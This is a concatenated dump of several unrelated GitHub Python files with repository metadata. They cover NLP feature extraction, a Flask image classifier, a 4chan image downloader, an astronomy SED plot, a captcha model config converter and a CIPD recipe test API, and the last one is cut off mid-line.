trainLexTokRatio = self.getLexicalToTokens(self.preprocessor.getPOStagged(trainPOS), lexicalTags)\n testLexTokRatio = self.getLexicalToTokens(self.testPreprocessor.getPOStagged(testPOS), lexicalTags)\n\n return trainLexTokRatio, testLexTokRatio, \"Ratio of lexical words to tokens\"\n", "repo_name": "ahmad-taie/infodens", "sub_path": "infodens/feature_extractor/lexical_features.py", "file_name": "lexical_features.py", "file_ext": "py", "file_size_in_byte": 4467, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "infodens.feature_extractor.feature_extractor.Feature_extractor", "line_number": 12, "usage_type": "name"}, {"api_name": "scipy.sparse.lil_matrix", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 24, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 28, "usage_type": "call"}, {"api_name": "infodens.feature_extractor.feature_extractor.featid", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.sparse.lil_matrix", "line_number": 66, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 66, "usage_type": "name"}, {"api_name": "infodens.feature_extractor.feature_extractor.featid", "line_number": 68, "usage_type": "call"}, {"api_name": "scipy.sparse.lil_matrix", "line_number": 99, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 99, "usage_type": "name"}, {"api_name": "infodens.feature_extractor.feature_extractor.featid", "line_number": 101, "usage_type": "call"}]} {"seq_id": "36130726067", "text": "from flask import Flask, request, jsonify\nfrom flask_cors import CORS, cross_origin\nimport util\n\napp = Flask(__name__)\nCORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\napp.config['CORS HEADERS'] = 'Content-Type'\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return \"\"\n\n\n@app.route('/classify_image', methods=['GET', 'POST'])\n#@cross_origin()\ndef classify_image():\n image_data = request.form['image_data']\n\n response = jsonify(util.classify_image(image_data))\n\n response.headers.add('Access-Control-Allow-Origin', '*')\n\n return response\n\n\nif __name__ == \"__main__\":\n print(\"Starting Python Flask Server For Sports Celebrity Image Classification\")\n util.load_saved_artifacts()\n app.run(port=5000)\n", "repo_name": "JanhaviYadav/SportsPersonClassifier", "sub_path": "server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 724, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 20, "usage_type": "call"}, {"api_name": "util.classify_image", "line_number": 20, "usage_type": "call"}, {"api_name": "util.load_saved_artifacts", "line_number": 29, "usage_type": "call"}]} {"seq_id": "33398431143", "text": "import argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--local_rank\",\n type=int,\n default=-1,\n help=\"local_rank for distributed training on gpus\")\n args = parser.parse_args()\n\n print(f\"hello from local rank: {args.local_rank}\")\n", "repo_name": "jeffra/deepspeed-kdd20", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 356, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 4, "usage_type": "call"}]} {"seq_id": "19521326450", "text": "#!/usr/bin/python\nimport pathlib\n\nfrom bs4 import BeautifulSoup\nimport os.path\nimport os\nimport sys\nimport requests\nimport argparse\nimport json\nimport time\n\n\n# whatever im gonna make it a 4chan scraper now\n\nclass FourchanDL:\n def __init__(self, args, config):\n self._args = args\n self._config = config\n self._url = args.url\n self._soup = self.prepare_soup()\n self._dl_count = 0\n self._skip_count = 0\n self._name = args.name\n self._format = self.get_format()\n\n def prepare_soup(self):\n \"\"\"\n Gets the bs4 object from the url\n :return: beautifulsoup object of the site\n :rtype: beautifulsoup\n \"\"\"\n\n html_get = requests.get(self._url)\n if not html_get.ok:\n sys.exit(\"Invalid url\")\n return BeautifulSoup(html_get.text, 'html.parser')\n\n def get_format(self):\n \"\"\"\n Gets the output format according to the priorities\n :return: output format\n :rtype: string\n \"\"\"\n\n if self._args.format is not None:\n # 1. -f argument\n form = self._args.format\n if self._args.set_default_format is True:\n self._config['format'] = self._args.format\n print(\"Set\", self._args.format, \"as default format\")\n else:\n # 2. default format\n form = self._config['format']\n return form\n\n def process_format(self, post):\n \"\"\"\n Performs substitution on the format\n :return: absolute path of the current image being exported\n :rtype: string\n \"\"\"\n\n # get the original file extension\n extension = \".\" + post.find(class_=\"fileText\").a.text.split('.')[-1]\n\n # get some variables\n post_filename = post.find(class_=\"fileText\").a.text.replace(extension, '')\n post_id = post.get('id')[2:]\n post_count = str(self._dl_count + self._skip_count + 1)\n op = self._soup.find(class_='opContainer')\n op_id = op.get('id')[2:]\n op_subject = op.find(class_=\"subject\").text.replace('/', ' ')\n\n # substitutions\n path_format = self._format\n path_format = path_format.replace(\"%filename\", post_filename)\n path_format = path_format.replace(\"%id\", post_id)\n path_format = path_format.replace(\"%count\", post_count)\n path_format = path_format.replace(\"%opid\", op_id)\n path_format = path_format.replace(\"%opsubject\", op_subject)\n if \"%name\" in path_format:\n try:\n path_format = path_format.replace(\"%name\", self._name)\n except TypeError:\n sys.exit(\"Name must be set (use -n)\")\n\n path_format = path_format + extension\n return os.path.expanduser(path_format)\n\n def download_post(self, post):\n \"\"\"\n Downloads an image\n :return: True if the image was downloaded, False if it already exists\n :rtype: bool\n \"\"\"\n\n img_path = self.process_format(post)\n img_link = \"http:\" + post.find(class_=\"fileThumb\").get('href')\n\n # will make a folder if it doesn't exist\n os.makedirs('/'.join(img_path.split('/')[:-1]) + '/', exist_ok=True)\n\n # archived posts will have a gif that messes everything up\n if img_link.split('/')[-1] == \"archived.gif\":\n return False\n\n # download:\n if not os.path.exists(img_path):\n img_get = requests.get(img_link)\n if img_get.ok:\n with open(img_path, 'wb') as file:\n file.write(img_get.content)\n return True\n return False\n\n def print_stats(self):\n if self._dl_count != 0:\n print(\"Downloaded\", self._dl_count, \"images\\nSkipped\", self._skip_count, \"images\")\n elif not self._args.quiet:\n print(\"Nothing to download\\nSkipped\", self._skip_count, \"images\")\n\n def run(self):\n for post in self._soup.find_all(class_='postContainer'):\n if post.find('img') is not None:\n download_successful = self.download_post(post)\n if download_successful:\n if not self._args.quiet:\n print('Downloaded post', post.get('id')[2:], 'to', self.process_format(post))\n self._dl_count += 1\n else:\n if not self._args.quiet:\n print('Skipped post', post.get('id')[2:], '-', self.process_format(post))\n self._skip_count += 1\n\n\ndef get_config_path():\n if sys.platform == \"win32\":\n # untested!\n return str(pathlib.Path.home()) + \"/\" + \"AppData/Roaming/4chan-dl/\"\n else:\n return os.path.expanduser(\"~/.config/4chan-dl/\")\n\n\ndef load_config():\n config_path = get_config_path()\n config_file = config_path + \"config.json\"\n config = {}\n if os.path.isfile(config_file):\n with open(config_file, 'r') as file:\n config = json.load(file)\n return config\n\n\ndef export_config(config):\n config_path = get_config_path()\n config_file = config_path + \"config.json\"\n if not os.path.exists(config_path):\n os.makedirs(config_path)\n with open(config_file, 'w') as file:\n json.dump(config, file)\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description=\"4chan image downloader\")\n parser.add_argument(\"-f\", \"--format\", type=str, help=\"File naming\")\n parser.add_argument(\"-n\", \"--name\", type=str, help=\"Set the name variable\")\n parser.add_argument(\"-q\", \"--quiet\", action=argparse.BooleanOptionalAction, help=\"Less verbose\")\n parser.add_argument(\"-w\", \"--watch\", type=int, default=0, help=\"Time between retries. 0 will run the program once\")\n parser.add_argument(\"--set-default-format\", action=argparse.BooleanOptionalAction,\n help=\"Set the current directory format as default\")\n parser.add_argument(\"url\", type=str, help=\"Thread URL\")\n\n return parser.parse_args()\n\n\ndef main():\n args = get_args()\n default_config = {\n \"format\": \"%filename\"\n }\n\n config = load_config()\n if config == {}:\n print(\"No config file found. Creating default config\")\n config = default_config\n\n while True:\n dl = FourchanDL(args, config)\n\n dl.run()\n dl.print_stats()\n if args.watch == 0:\n break\n time.sleep(args.watch)\n\n export_config(config)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "borzois/4chan-dl", "sub_path": "4chan-dl.py", "file_name": "4chan-dl.py", "file_ext": "py", "file_size_in_byte": 6471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 36, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 110, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pathlib.Path.home", "line_number": 140, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 159, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 161, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 165, "usage_type": "call"}, {"api_name": "argparse.BooleanOptionalAction", "line_number": 168, "usage_type": "attribute"}, {"api_name": "argparse.BooleanOptionalAction", "line_number": 170, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 195, "usage_type": "call"}]} {"seq_id": "2502718739", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division, print_function\n\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom scipy.signal import medfilt\nimport astropy.units as u\nimport astropy.constants as c\n\n# Plotting\nimport matplotlib; matplotlib.use('TkAgg')\nimport matplotlib.pyplot as pl\nimport seaborn; seaborn.set_style('ticks')\nimport lineid_plot\n\nimport matplotlib as mpl\nfrom matplotlib.ticker import FormatStrFormatter\nparams = {\n 'axes.labelsize': 24,\n 'font.size': 24,\n 'legend.fontsize': 24,\n 'xtick.labelsize': 24,\n 'ytick.labelsize': 24,\n 'text.usetex': False,\n 'figure.figsize': [16, 16/1.618]\n }\nmpl.rcParams.update(params)\n\ndef main():\n # Small script to plot SED, photometry and spectrum\n\n # Load data\n spectrum = np.genfromtxt(\"../data/spectroscopy/stitched_spectrum_bin5.dat\")\n wl_spec = spectrum[:, 0] #* u.AA\n flux_spec = spectrum[:, 1] #* (u.erg/ u.s / u.cm**2 / u.AA)\n error_spec = spectrum[:, 2] #* (u.erg/(u.s * u.cm**2 * u.AA))\n f = interp1d(wl_spec, flux_spec, fill_value = np.nan)\n g = interp1d(wl_spec, error_spec, fill_value = np.nan)\n x = np.arange(min(wl_spec), max(wl_spec), np.median(np.diff(wl_spec)))# * u.AA\n flux_spec = f(x) * (u.erg/(u.s * u.cm**2 * u.AA))\n error_spec = g(x) * (u.erg/(u.s * u.cm**2 * u.AA))\n wl_spec = x * u.AA\n\n\n\n SED = np.genfromtxt(\"../data/SED.dat\")\n wl_SED = SED[:, 0]\n AB_SED = SED[:, 1]\n phot = np.genfromtxt(\"../data/photometry.dat\")\n mag = phot[:, 0]\n magmask = (mag != -99)\n mag = phot[:, 0][magmask]\n magerr = phot[:, 1][magmask]\n wl_phot = phot[:, 2][magmask]\n wl_plot_wid = phot[:, 3][magmask]/2.35\n\n AB = flux_spec.to(u.ABmag, u.spectral_density(wl_spec))\n flux_jan = flux_spec.to(u.Jy, u.spectral_density(wl_spec))*1e6\n err_jan = error_spec.to(u.Jy, u.spectral_density(wl_spec))*1e6\n\n\n\n\n ax1 = pl.gca()\n\n\n ax2 = ax1.twinx()\n # pl.errorbar(wl_spec, AB, yerr=[AB - AB_err_lo, AB_err_hi - AB], fmt=\".k\", capsize=0, elinewidth=0.5, ms=3, alpha=0.3, label=\"X-shooter spectrum\", zorder=1)\n ax1.errorbar(wl_phot, mag, xerr=wl_plot_wid, yerr=magerr, fmt=\".\", capsize=0, ms=20, color = \"#4C72B0\", label = \"Photometric points\", zorder=3, mec=\"black\", mew = 1)\n # pl.errorbar(wl_spec, AB, fmt=\".k\", capsize=0, elinewidth=0.5, ms=3, alpha=0.3)\n ax1.plot(0, 0, color=\"black\", linestyle=\"steps-mid\", label=\"X-shooter spectrum\", zorder=1, alpha=0.3)\n ax1.plot(0, 0, label=\"X-shooter error spectrum\", linestyle=\"dashed\", lw=1, zorder=1)\n ax1.plot(wl_SED, AB_SED, linestyle=\"steps-mid\", lw=2.0, color = \"#C44E52\", label = \"SED fit\", zorder=2)\n # pl.axhline(0, linestyle=\"dashed\", color = \"black\", lw = 0.4)\n\n ax1.legend(loc=2)\n # scale = np.median(AB[~np.isnan(AB)])\n\n # ax1 = pl.gca()\n ax1.invert_yaxis()\n ax1.set_xlabel(r\"Observed wavelength [$\\mathrm{\\AA}$]\")\n ax1.set_ylabel(r'Brightness [AB mag]')\n ax1.set_ylim(26.1, 17.5)\n\n # ax2 = ax1.twinx()\n ax2.plot(wl_spec[::1], medfilt(flux_jan[::1], 1), color=\"black\", linestyle=\"steps-mid\", lw=1, alpha=0.3, label=\"X-shooter spectrum\", zorder=1)\n ax2.plot(wl_spec[::1], medfilt(err_jan[::1], 31), linestyle=\"dashed\", lw=1, zorder=1)\n mn, mx = 26.1, 17.5#ax2.get_ylim()\n print(mn)\n ax2.set_ylim(10**((23.9 - mn)/2.5), 10**((23.9 - mx)/2.5))\n ax2.semilogy()\n ax2.set_ylabel(r'Flux density [$\\mu$Jy]')\n\n # pl.ylim(-1 * scale, 10 * scale)\n\n ax1.yaxis.set_label_position(\"right\")\n ax1.yaxis.tick_right()\n ax2.yaxis.set_label_position(\"left\")\n ax2.yaxis.tick_left()\n\n\n ax1.yaxis.set_major_formatter(FormatStrFormatter('%.0f'))\n ax2.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))\n\n #Overplot lines\n linelist = np.array([1216, 3728.09, 4862.68, 4960.30, 5008.24, 6564.61]) * (1 + 2.210)\n linenames = [r\"$\\mathrm{Ly\\alpha}$\", r\"$\\mathrm{[OII]}$\", r\"$\\mathrm{H\\beta}$\", r\"$\\mathrm{[OIII]}$\", r\"$\\mathrm{[OIII]}$\", r\"$\\mathrm{H\\alpha}$\"]\n val = []\n for p in range(len(linelist)):\n xcoord = linelist[p]\n mask = (wl_SED> xcoord - 1) & (wl_SED< xcoord + 1)\n y_val = np.mean(AB_SED[mask])\n val.append(y_val - 0.5)\n val[3] -= 1\n lineid_plot.plot_line_ids(wl_SED, AB_SED, linelist, linenames, arrow_tip=val, ax=ax1, max_iter=0)\n # for i in ax1.lines:\n # if '$' in i.get_label():\n # i.set_alpha(0.3)\n a = ax1.findobj(mpl.text.Annotation)\n for i in a:\n if '$' in i.get_label():\n i.set_size(16)\n\n pl.semilogx()\n pl.xlim(3000, 24000)\n\n pos = [4000, 6000, 20000]\n ax1.set_xticks(pos, pos)\n # ax2.set_xticks(pos, pos)\n ax1.xaxis.set_minor_formatter(FormatStrFormatter('%i'))\n ax2.xaxis.set_minor_formatter(FormatStrFormatter('%i'))\n ax1.xaxis.set_major_formatter(FormatStrFormatter('%i'))\n ax2.xaxis.set_major_formatter(FormatStrFormatter('%i'))\n\n pl.tight_layout()\n pl.savefig(\"../figures/SEDspecphot.pdf\")\n pl.show()\n\n\nif __name__ == '__main__':\n main()", "repo_name": "jselsing/GRB111117A", "sub_path": "py/SED_plot.py", "file_name": "SED_plot.py", "file_ext": "py", "file_size_in_byte": 4999, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.use", "line_number": 13, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.rcParams.update", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.genfromtxt", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 39, "usage_type": "attribute"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 41, "usage_type": "call"}, {"api_name": "astropy.units.erg", "line_number": 42, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 42, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 42, "usage_type": "attribute"}, {"api_name": "astropy.units.cm", "line_number": 42, "usage_type": "attribute"}, {"api_name": "astropy.units.AA", "line_number": 42, "usage_type": "attribute"}, {"api_name": "astropy.units.erg", "line_number": 43, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 43, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 43, "usage_type": "attribute"}, {"api_name": "astropy.units.cm", "line_number": 43, "usage_type": "attribute"}, {"api_name": "astropy.units.AA", "line_number": 43, "usage_type": "attribute"}, {"api_name": "astropy.units.AA", "line_number": 44, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.genfromtxt", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 51, "usage_type": "call"}, {"api_name": "astropy.units.ABmag", "line_number": 59, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 59, "usage_type": "name"}, {"api_name": "astropy.units.spectral_density", "line_number": 59, "usage_type": "call"}, {"api_name": "astropy.units.Jy", "line_number": 60, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 60, "usage_type": "name"}, {"api_name": "astropy.units.spectral_density", "line_number": 60, "usage_type": "call"}, {"api_name": "astropy.units.Jy", "line_number": 61, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 61, "usage_type": "name"}, {"api_name": "astropy.units.spectral_density", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "scipy.signal.medfilt", "line_number": 88, "usage_type": "call"}, {"api_name": "scipy.signal.medfilt", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 114, "usage_type": "call"}, {"api_name": "lineid_plot.plot_line_ids", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.text", "line_number": 121, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.semilogx", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}]} {"seq_id": "1370648225", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# Author: kerlomz \nimport yaml\nimport json\n\n\nclass ModelConfig:\n\n def __init__(self, model_conf: str):\n self.model_conf = model_conf\n self.system = None\n self.device = None\n self.device_usage = None\n self.charset = None\n self.split_char = None\n self.gen_charset = None\n self.char_exclude = None\n self.model_name = None\n self.model_type = None\n self.image_height = None\n self.image_width = None\n self.image_channel = None\n self.padding = None\n self.lower_padding = None\n self.resize = None\n self.binaryzation = None\n self.smooth = None\n self.blur = None\n self.replace_transparent = None\n self.model_site = None\n self.version = None\n self.color_engine = None\n self.cf_model = self.read_conf\n self.model_exists = False\n self.assignment()\n\n def assignment(self):\n\n system = self.cf_model.get('System')\n self.device = system.get('Device') if system else None\n self.device = self.device if self.device else \"cpu:0\"\n self.device_usage = system.get('DeviceUsage') if system else None\n self.device_usage = self.device_usage if self.device_usage else 0.02\n self.charset = self.cf_model['Model'].get('CharSet')\n self.char_exclude = self.cf_model['Model'].get('CharExclude')\n self.model_name = self.cf_model['Model'].get('ModelName')\n self.model_type = self.cf_model['Model'].get('ModelType')\n self.model_site = self.cf_model['Model'].get('Sites')\n self.model_site = self.model_site if self.model_site else []\n self.version = self.cf_model['Model'].get('Version')\n self.version = self.version if self.version else 1.0\n self.split_char = self.cf_model['Model'].get('SplitChar')\n self.split_char = '' if not self.split_char else self.split_char\n\n self.image_height = self.cf_model['Model'].get('ImageHeight')\n self.image_width = self.cf_model['Model'].get('ImageWidth')\n self.image_channel = self.cf_model['Model'].get('ImageChannel')\n self.image_channel = self.image_channel if self.image_channel else 1\n self.binaryzation = self.cf_model['Pretreatment'].get('Binaryzation')\n self.resize = self.cf_model['Pretreatment'].get('Resize')\n self.resize = self.resize if self.resize else [self.image_width, self.image_height]\n self.replace_transparent = self.cf_model['Pretreatment'].get('ReplaceTransparent')\n\n @property\n def read_conf(self):\n with open(self.model_conf, 'r', encoding=\"utf-8\") as sys_fp:\n sys_stream = sys_fp.read()\n return yaml.load(sys_stream, Loader=yaml.SafeLoader)\n\n def convert(self):\n with open(\"../model.template\", encoding=\"utf8\") as f:\n lines = f.readlines()\n bc = \"\".join(lines)\n model = bc.format(\n MemoryUsage=0.7,\n CNNNetwork='CNNX',\n RecurrentNetwork='GRU',\n UnitsNum=64,\n Optimizer='Adam',\n LossFunction='CTC',\n Decoder='CTC',\n ModelName=self.model_name,\n ModelField='Image',\n ModelScene='Classification',\n Category=self.charset,\n Resize=json.dumps(self.resize),\n ImageChannel=self.image_channel,\n ImageWidth=self.image_width,\n ImageHeight=self.image_height,\n MaxLabelNum=4,\n AutoPadding=False,\n OutputSplit=\"\",\n LabelFrom=\"FileName\",\n ExtractRegex=\".*?(?=_)\",\n LabelSplit='null',\n DatasetTrainsPath=\"\",\n DatasetValidationPath=\"\",\n SourceTrainPath=\"\",\n SourceValidationPath=\"\",\n ValidationSetNum=\"300\",\n SavedSteps=\"500\",\n ValidationSteps=\"500\",\n EndAcc=\"0.98\",\n EndCost=\"0.05\",\n EndEpochs=\"2\",\n BatchSize=\"64\",\n ValidationBatchSize=\"300\",\n LearningRate=\"0.001\",\n DA_Binaryzation=\"-1\",\n DA_MedianBlur=\"-1\",\n DA_GaussianBlur=\"-1\",\n DA_EqualizeHist=\"False\",\n DA_Laplace=\"False\",\n DA_WarpPerspective=\"False\",\n DA_Rotate=\"-1\",\n DA_PepperNoise=\"-1\",\n DA_Brightness=\"False\",\n DA_Saturation=\"False\",\n DA_Hue=\"False\",\n DA_Gamma=\"False\",\n DA_ChannelSwap=\"False\",\n DA_RandomBlank=\"-1\",\n DA_RandomTransition=\"-1\",\n Pre_Binaryzation=\"-1\",\n Pre_ReplaceTransparent=\"False\",\n Pre_HorizontalStitching=\"False\",\n Pre_ConcatFrames=\"-1\",\n Pre_BlendFrames=\"-1\",\n DA_RandomCaptcha=\"\",\n Pre_ExecuteMap=\"\",\n )\n open(self.model_conf.replace(\".yaml\", \"_2.0.yaml\"), \"w\", encoding=\"utf8\").write(model)\n\n\nif __name__ == '__main__':\n ModelConfig(model_conf=\"model.yaml\").convert()\n", "repo_name": "kerlomz/captcha_trainer", "sub_path": "compat/upgrade.py", "file_name": "upgrade.py", "file_ext": "py", "file_size_in_byte": 5318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2810, "dataset": "github-code", "pt": "7", "api": [{"api_name": "yaml.load", "line_number": 69, "usage_type": "call"}, {"api_name": "yaml.SafeLoader", "line_number": 69, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 87, "usage_type": "call"}]} {"seq_id": "27858451517", "text": "from .models import Event\nimport names\nimport time\n\ndef create_event_schedule():\n event = Event(\n name=names.get_first_name(), description=names.get_last_name()\n )\n time.sleep(5)\n print(\"here\")\n event.save()\n", "repo_name": "vatglobal/vatglobal-devops-interview", "sub_path": "event/func.py", "file_name": "func.py", "file_ext": "py", "file_size_in_byte": 230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.Event", "line_number": 6, "usage_type": "call"}, {"api_name": "names.get_first_name", "line_number": 7, "usage_type": "call"}, {"api_name": "names.get_last_name", "line_number": 7, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 9, "usage_type": "call"}]} {"seq_id": "28599928500", "text": "from future.utils import iteritems\n\nfrom recipe_engine import recipe_test_api\n\nfrom .api import EnsureFile\n\n\nclass CIPDTestApi(recipe_test_api.RecipeTestApi):\n\n EnsureFile = EnsureFile\n\n def make_resolved_package(self, v):\n return v.replace('${platform}', 'resolved-platform')\n\n def make_resolved_version(self, v):\n if not v:\n return '40-chars-fake-of-the-package-instance_id'\n if len(v) == 40:\n return v\n # Truncate or pad to 40 chars.\n prefix = 'resolved-instance_id-of-'\n if len(v) + len(prefix) >= 40:\n return '%s%s' % (prefix, v[:40-len(prefix)])\n return '%s%s%s' % (prefix, v, '-' * (40 - len(prefix) - len(v)))\n\n def make_pin(self, package_name, version=None):\n return {\n 'package': self.make_resolved_package(package_name),\n 'instance_id': self.make_resolved_version(version),\n }\n\n def _resultify(self, result, error=None, retcode=None):\n dic = {'result': result}\n if error:\n dic['error'] = error\n return self.m.json.output(dic, retcode=retcode)\n\n def example_error(self, error, retcode=None):\n return self._resultify(\n result=None,\n error=error,\n retcode=1 if retcode is None else retcode)\n\n def example_acl_check(self, package_path, check=True):\n return self._resultify(check)\n\n def example_build(self, package_name, version=None):\n return self._resultify(self.make_pin(package_name, version))\n\n example_register = example_build\n example_pkg_fetch = example_build\n example_pkg_deploy = example_build\n\n def example_ensure(self, ensure_file):\n return self._resultify({\n subdir or '': [self.make_pin(name, version)\n for name, version in sorted(packages)]\n for subdir, packages in iteritems(ensure_file.packages)\n })\n\n def example_ensure_file_resolve(self, ensure_file):\n return self._resultify({\n subdir or '': [{\n 'package': self.make_resolved_package(name),\n 'pin': self.make_pin(name, version)}\n for name, version in sorted(packages)]\n for subdir, packages in iteritems(ensure_file.packages)\n })\n\n def example_set_tag(self, package_name, version):\n return self._resultify([{\n 'package': package_name,\n 'pin': self.make_pin(package_name, version)\n }])\n\n def example_set_metadata(self, package_name, version):\n return self._resultify([{\n 'package': package_name,\n 'pin': self.make_pin(package_name, version)\n }])\n\n def example_set_ref(self, package_name, version):\n return self._resultify({'': [{\n 'package': package_name,\n 'pin': self.make_pin(package_name, version)\n }]})\n\n def example_search(self, package_name, instances=None):\n if instances is None:\n # Return one instance by default.\n return self._resultify([self.make_pin(package_name)])\n if isinstance(instances, int):\n instances = ['instance_id_%i' % (i+1) for i in range(instances)]\n return self._resultify([self.make_pin(package_name, instance)\n for instance in instances])\n\n def example_describe(self, package_name, version=None,\n test_data_refs=None, test_data_tags=None,\n user='user:44-blablbla@developer.gserviceaccount.com',\n tstamp=1446574210):\n assert not test_data_tags or all(':' in tag for tag in test_data_tags)\n\n if test_data_tags is None:\n test_data_tags = [\n 'buildbot_build:some.waterfall/builder/1234',\n 'git_repository:https://chromium.googlesource.com/some/repo',\n 'git_revision:397a2597cdc237f3026e6143b683be4b9ab60540',\n ]\n\n if test_data_refs is None:\n test_data_refs = ['latest']\n\n # If user explicitly put empty tags/refs (i.e. ())\n if not test_data_refs and not test_data_tags:\n # quick and dirty version differentiation\n if ':' in version:\n return self._resultify(None, error='no such tag', retcode=1)\n if len(version) == 44 or len(version) == 40:\n return self._resultify(None, error='no such instance', retcode=1)\n return self._resultify(None, error='no such ref', retcode=1)\n\n return self._resultify({\n 'pin': self.make_pin(package_name, version),\n 'registered_by': user,\n 'registered_ts': tstamp,\n 'refs': [\n {\n 'ref': ref,\n 'modified_by': user,\n 'modified_ts': tstamp,\n 'instance_id': self.make_resolved_version(ref),\n }\n for ref in 